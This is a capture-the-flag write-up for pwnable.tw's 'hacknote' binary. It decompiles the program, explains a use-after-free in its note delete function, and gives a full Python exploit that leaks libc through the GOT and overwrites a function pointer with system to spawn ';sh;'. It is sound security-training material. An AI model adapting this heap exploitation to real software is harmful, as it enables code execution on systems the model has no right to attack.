[PWNABLE.TW] - hacknote | ✧ Alter ✧

writeup

Challenge Information

Reverse Engineering

1
alter ^ Sol in /mnt/e/sec/lab/pwnable.tw/hacknote
2
$ checksec hacknote
3
[*] '/mnt/e/sec/lab/pwnable.tw/hacknote/hacknote'
4
    Arch:       i386-32-little
5
    RELRO:      Partial RELRO
6
    Stack:      Canary found
7
    NX:         NX enabled
8
    PIE:        No PIE (0x8048000)

So we start with using checksec to check the binary’s security. We can see that the binary has a stack canary, no PIE, and NX enabled. Now let’s use IDA to decompile the binary and analyze it.

main function

1
void __noreturn main()
2
{
3
  int choice; // eax
4
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
5
  unsigned int v2; // [esp+Ch] [ebp-Ch]
6

7
  v2 = __readgsdword(0x14u);
8
  setvbuf(stdout, 0, 2, 0);
9
  setvbuf(stdin, 0, 2, 0);
10
  while ( 1 )
11
  {
12
    while ( 1 )
13
    {
14
      menu();
15
      read(0, buf, 4u);
16
      choice = atoi(buf);
17
      if ( choice != 2 )
18
        break;
19
      delete();
20
    }
21
    if ( choice > 2 )
22
    {
23
      if ( choice == 3 )
24
      {
25
        print();
26
      }
27
      else
28
      {
29
        if ( choice == 4 )
30
          exit(0);
31
LABEL_13:
32
        puts("Invalid choice");
33
      }
34
    }
35
    else
36
    {
37
      if ( choice != 1 )
38
        goto LABEL_13;
39
      add();
40
    }
41
  }
42
}

note struct

1
00000000 struct note_t // sizeof=0x8
2
00000000 {
3
00000000     void (*pFun)(const char *);
4
00000004     char *content;
5
00000008 };

add function

1
unsigned int add()
2
{
3
  note_t *note; // ebx
4
  int idx; // [esp+Ch] [ebp-1Ch]
5
  int size; // [esp+10h] [ebp-18h]
6
  char buf[8]; // [esp+14h] [ebp-14h] BYREF
7
  unsigned int v5; // [esp+1Ch] [ebp-Ch]
8

9
  v5 = __readgsdword(0x14u);
10
  if ( n5 <= 5 )
11
  {
12
    for ( idx = 0; idx <= 4; ++idx )
13
    {
14
      if ( !ptr[idx] )
15
      {
16
        ptr[idx] = (note_t *)malloc(8u);
17
        if ( !ptr[idx] )
18
        {
19
          puts("Alloca Error");
20
          exit(-1);
21
        }
22
        ptr[idx]->pFun = (void (*)(const char *))puts_w;
23
        printf("Note size :");
24
        read(0, buf, 8u);
25
        size = atoi(buf);
26
        note = ptr[idx];
27
        note->content = (char *)malloc(size);
28
        if ( !ptr[idx]->content )
29
        {
30
          puts("Alloca Error");
31
          exit(-1);
32
        }
33
        printf("Content :");
34
        read(0, ptr[idx]->content, size);
35
        puts("Success !");
36
        ++n5;
37
        return __readgsdword(0x14u) ^ v5;
38
      }
39
    }
40
  }
41
  else
42
  {
43
    puts("Full");
44
  }
45
  return __readgsdword(0x14u) ^ v5;
46
}

delete function

1
unsigned int delete()
2
{
3
  int n5; // [esp+4h] [ebp-14h]
4
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
5
  unsigned int v3; // [esp+Ch] [ebp-Ch]
6

7
  v3 = __readgsdword(0x14u);
8
  printf("Index :");
9
  read(0, buf, 4u);
10
  n5 = atoi(buf);
11
  if ( n5 < 0 || n5 >= ::n5 )
12
  {
13
    puts("Out of bound!");
14
    _exit(0);
15
  }
16
  if ( ptr[n5] )
17
  {
18
    free(ptr[n5]->content);
19
    free(ptr[n5]);
20
    puts("Success");
21
  }
22
  return __readgsdword(0x14u) ^ v3;
23
}

print function

1
unsigned int print()
2
{
3
  int n5; // [esp+4h] [ebp-14h]
4
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
5
  unsigned int v3; // [esp+Ch] [ebp-Ch]
6

7
  v3 = __readgsdword(0x14u);
8
  printf("Index :");
9
  read(0, buf, 4u);
10
  n5 = atoi(buf);
11
  if ( n5 < 0 || n5 >= ::n5 )
12
  {
13
    puts("Out of bound!");
14
    _exit(0);
15
  }
16
  if ( ptr[n5] )
17
    ptr[n5]->pFun((const char *)ptr[n5]);
18
  return __readgsdword(0x14u) ^ v3;
19
}

So we can see that the binary has a menu with 4 options:

Add a note
Delete a note
Print a note
Exit

In the add function, the program lets us create a note with a size we choose. Each note is 8 bytes in size and contains a function pointer and a content pointer. The delete function allows us to remove a note at a chosen index. However, there is a Use-After-Free vulnerability because the pointer is not cleared after the memory is freed. The print function lets us print a note at any index we choose. One special thing here is that it uses the function pointer stored inside the note to print the content.

Exploit Strategies

We need to do two things here:

Since the binary doesn’t have free leak for us -> We need to leak libc address to calculate the base address of libc.
Leverage the print function to arbitrary code execution, since we can control the function pointer via Use-After-Free.

Exploit Development

Because this is the heap note challenge so I create some helper functions to make the exploit easier to read. The first function is add, which allows us to add a note with a size of our choice. The second function is delete, which allows us to delete a note at the index we choose. The third function is print, which allows us to print a note at the index we choose.

1
def choice(option: int):
2
    sna(b'choice :', option)
3

4

5
index = 0
6
def add(size, content):
7

8
    global index
9
    index += 1
10
    choice(1)
11
    sna(b'size :', size)
12
    sa(b'Content :', content)
13
    return index - 1
14

15

16
def delete(index):
17
    choice(2)
18
    sna(b'Index :', index)
19

20

21
def print(index):
22
    choice(3)
23
    sna(b'Index :', index)

Then I will create 2 notes and then free these 2 notes, the purpose of this is we want to change the address of content pointer to the address of GOT to leak, and if we only free a single chunk, for example I create a note of 0x10 bytes, then in fastbins it will look like this

1
pwndbg> fastbins
2
fastbins
3
0x10: 0x804b000 ◂— 0
4
0x18: 0x804b010 ◂— 0

Even though the program doesn’t delete the data when it calls free, so the content in memory stays the same, the real problem is in the add() function. Before the program lets us write to the note’s content, it first creates a new note with a fixed size of 0x8 bytes.

Because of this, it takes a chunk from the fastbin — which is the same memory we might want to change. So, even if the old data is still there, that chunk is now used for a new note, and we lose the chance to change or control it. And that’s why we need to create 2 chunks and free them.

1
    chunkA = add(0x10, b'A'*4)      # index 0
2
    chunkB = add(0x10, b'B'*4)      # index 1
3

4
    delete(chunkA)
5
    delete(chunkB)

1
pwndbg> fastbins
2
fastbins
3
0x10: 0x804b028 —▸ 0x804b000 ◂— 0
4
0x18: 0x804b038 —▸ 0x804b010 ◂— 0
5
pwndbg> vis
6

7
0x804b000       0x00000000      0x00000011      ........         <-- fastbins[0x10][1]
8
0x804b008       0x00000000      0x0804b018      ........
9
0x804b010       0x00000000      0x00000019      ........         <-- fastbins[0x18][1]
10
0x804b018       0x00000000      0x00000000      ........
11
0x804b020       0x00000000      0x00000000      ........
12
0x804b028       0x00000000      0x00000011      ........         <-- fastbins[0x10][0]
13
0x804b030       0x0804b000      0x0804b040      ....@...
14
0x804b038       0x00000000      0x00000019      ........         <-- fastbins[0x18][0]
15
0x804b040       0x0804b010      0x00000000      ........
16
0x804b048       0x00000000      0x00000000      ........
17
0x804b050       0x00000000      0x00020fb1      ........         <-- Top chunk

So the next time we add a note, we will request a size 0x8, then with malloc(0x8), first it will take 0x804b028 and with the next time it will take 0x804b000 and allow us to write here, and 0x804b000 is chunkA with index 0, so when we use the print() function with index 0, we will get the address of libc

1
    chunkC = add(0x8, p32(printFunc) + p32(exe.got.puts))
2
    print(chunkA)
3

4
    puts = u32(rb(4))
5
    libc.address = puts - libc.sym.puts
6

7
    info('puts @ %#x', puts)
8
    success('libc base @ %#x', libc.address)

Check the heap again:

1
pwndbg> vis
2

3
0x804b000       0x00000000      0x00000011      ........
4
0x804b008       0x0804862b      0x0804a024      +...$...
5
0x804b010       0x00000000      0x00000019      ........         <-- fastbins[0x18][1]
6
0x804b018       0x00000000      0x00000000      ........
7
0x804b020       0x00000000      0x00000000      ........
8
0x804b028       0x00000000      0x00000011      ........
9
0x804b030       0x0804862b      0x0804b008      +.......
10
0x804b038       0x00000000      0x00000019      ........         <-- fastbins[0x18][0]
11
0x804b040       0x0804b010      0x00000000      ........
12
0x804b048       0x00000000      0x00000000      ........
13
0x804b050       0x00000000      0x00020fb1      ........         <-- Top chunk

Nice nice, everything is working as expected. chunkA is at 0x804b000, and chunkC is at 0x804b028. After have the libc base address, we just need to do the same method, delete(chunkC) and we will have 2 0x8 bytes chunks in fastbins, add() new note, and then write the address of system and the strinng ;sh; to it

1
    delete(chunkC)
2
    chunkD = add(0x8, p32(libc.sym.system) + b';sh;\0')
3
    print(chunkA)

Full exploit

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from subprocess import check_output
5
from time import sleep
6

7
context.log_level = 'debug'
8
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
9
exe = context.binary = ELF('./hacknote_patched', checksec=False)
10
libc = exe.libc
11

12
def start(argv=[], *a, **kw):
13
    if args.GDB:
14
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, aslr=False, *a, **kw)
15
    elif args.REMOTE:
16
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
17
    elif args.DOCKER:
18
        p = remote("localhost", 5000)
19
        sleep(1)
20
        pid = int(check_output(["pidof", "-s", "/app/run"]))
21
        gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
22
        pause()
23
        return p
24
    else:
25
        return process([exe.path] + argv, *a, **kw)
26

27
gdbscript = '''
28
init-pwndbg
29

30
b *0804869A
31
b *0x804872C
32
b *0x804893D
33
b *0x8048863
34
b *0x8048863
35

36
c
37
'''
38

39
p = start()
40

41
# ==================== EXPLOIT ====================
42

43
def choice(option: int):
44
    sna(b'choice :', option)
45

46

47
index = 0
48
def add(size, content):
49

50
    global index
51
    index += 1
52
    choice(1)
53
    sna(b'size :', size)
54
    sa(b'Content :', content)
55
    return index - 1
56

57

58
def delete(index):
59
    choice(2)
60
    sna(b'Index :', index)
61

62

63
def print(index):
64
    choice(3)
65
    sna(b'Index :', index)
66

67

68
def exploit():
69

70
    printFunc = 0x804862B
71

72
    chunkA = add(0x10, b'A'*4)      # index 0
73
    chunkB = add(0x10, b'B'*4)      # index 1
74

75
    delete(chunkA)
76
    delete(chunkB)
77

78
    chunkC = add(0x8, p32(printFunc) + p32(exe.got.puts))
79
    print(chunkA)
80

81
    puts = u32(rb(4))
82
    libc.address = puts - libc.sym.puts
83

84
    info('puts @ %#x', puts)
85
    success('libc base @ %#x', libc.address)
86

87
    delete(chunkC)
88
    chunkD = add(0x8, p32(libc.sym.system) + b';sh;\0')
89
    print(chunkA)
90

91

92
    interactive()
93

94
if __name__ == '__main__':
95
    exploit()